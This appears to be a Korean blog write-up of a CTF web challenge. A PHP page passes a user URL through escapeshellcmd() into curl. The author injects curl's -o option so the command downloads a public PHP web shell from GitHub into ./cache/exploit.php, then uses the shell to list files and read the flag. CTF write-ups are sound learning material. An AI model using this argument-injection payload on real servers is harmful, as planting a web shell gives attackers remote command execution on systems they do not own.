728x90
우선, 문제에 접속해보니 아래와 같은 페이지를 볼 수 있었다.
문제로 함께 주어진 코드 파일을 확인해보니 아래와 같은 파일을 볼 수 있었다.
해당 코드는 GET argument로 'url'을 받아 'http'가 들어있는지 확인하고 escapeshellcmd() 함수에 넣는다 이후, curl 명령어를 실행하고 result는 /cache 폴더 아래에 파일로 저장한다.
escapeshellcmd() 함수
- 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 php에서 사용하는 함수
- 쉘 명령을 속이는 데 사용될 수 있는 문자열의 모든 문자를 이스케이프한다
- 다음 문자 앞에 백슬래시를 붙인다 : & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A \xFF ' " (따옴표는 쌍이 아닌 경우만)
cf) escapeshellarg()는 전달한 입력값을 하나의 문자열로 만들어버림
출처 | https://minseosavestheworld.tistory.com/156?category=1133576
따라서 이 문제는 공격자 서버에 웹 쉘을 업로드 하고, url 주소를 공격자 서버로 지정한 후, -o 옵션을 이용해서 /cache 경로에 웹쉘을 생성하는 과정으로 풀이할 수 있다.
아래는 웹 쉘을 /cache에 업로드하는 페이로드 값이다.
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php
이는 깃허브에 업로드 된 PHP 웹쉘로, -o 옵션으로 ./cache/exploit.php라는 파일을 생성하도록했다.
https://github.com/WhiteWinterWolf/wwwolf-php-webshell
해당 값을 넣으니
curl 명령이 정상적으로 실행된 것을 볼 수 있었다.
이후 주소창에 앞서 작성한 php 파일명을 활용해서 주소창에 다음과 같이 넣으면 아래와 같이 무언가 입력할 수 있는 공간이 생겼다.
명령어를 입력할 수 있는 부분에 플래그 파일을 확인하기 위해 'ls -al /'를 입력하니 아래와 같이 flag가 있는 것을 확인할 수 있었다.
다음과 같이 입력하니 flag가 실행되면서 플래그 값을 볼 수 있었다.
728x90
'CTF' 카테고리의 다른 글
[CTFLearn] My Blog (0) | 2024.05.01 |
---|---|
[CTFLearn] Basic Injection (0) | 2024.05.01 |
[Webhacking.kr] old-44번 write-up (0) | 2023.11.22 |
[Dreamhack] command-injection-1 write-up (0) | 2023.11.22 |
[Dreamhack] command-injection-chatgpt write-up (1) | 2023.11.21 |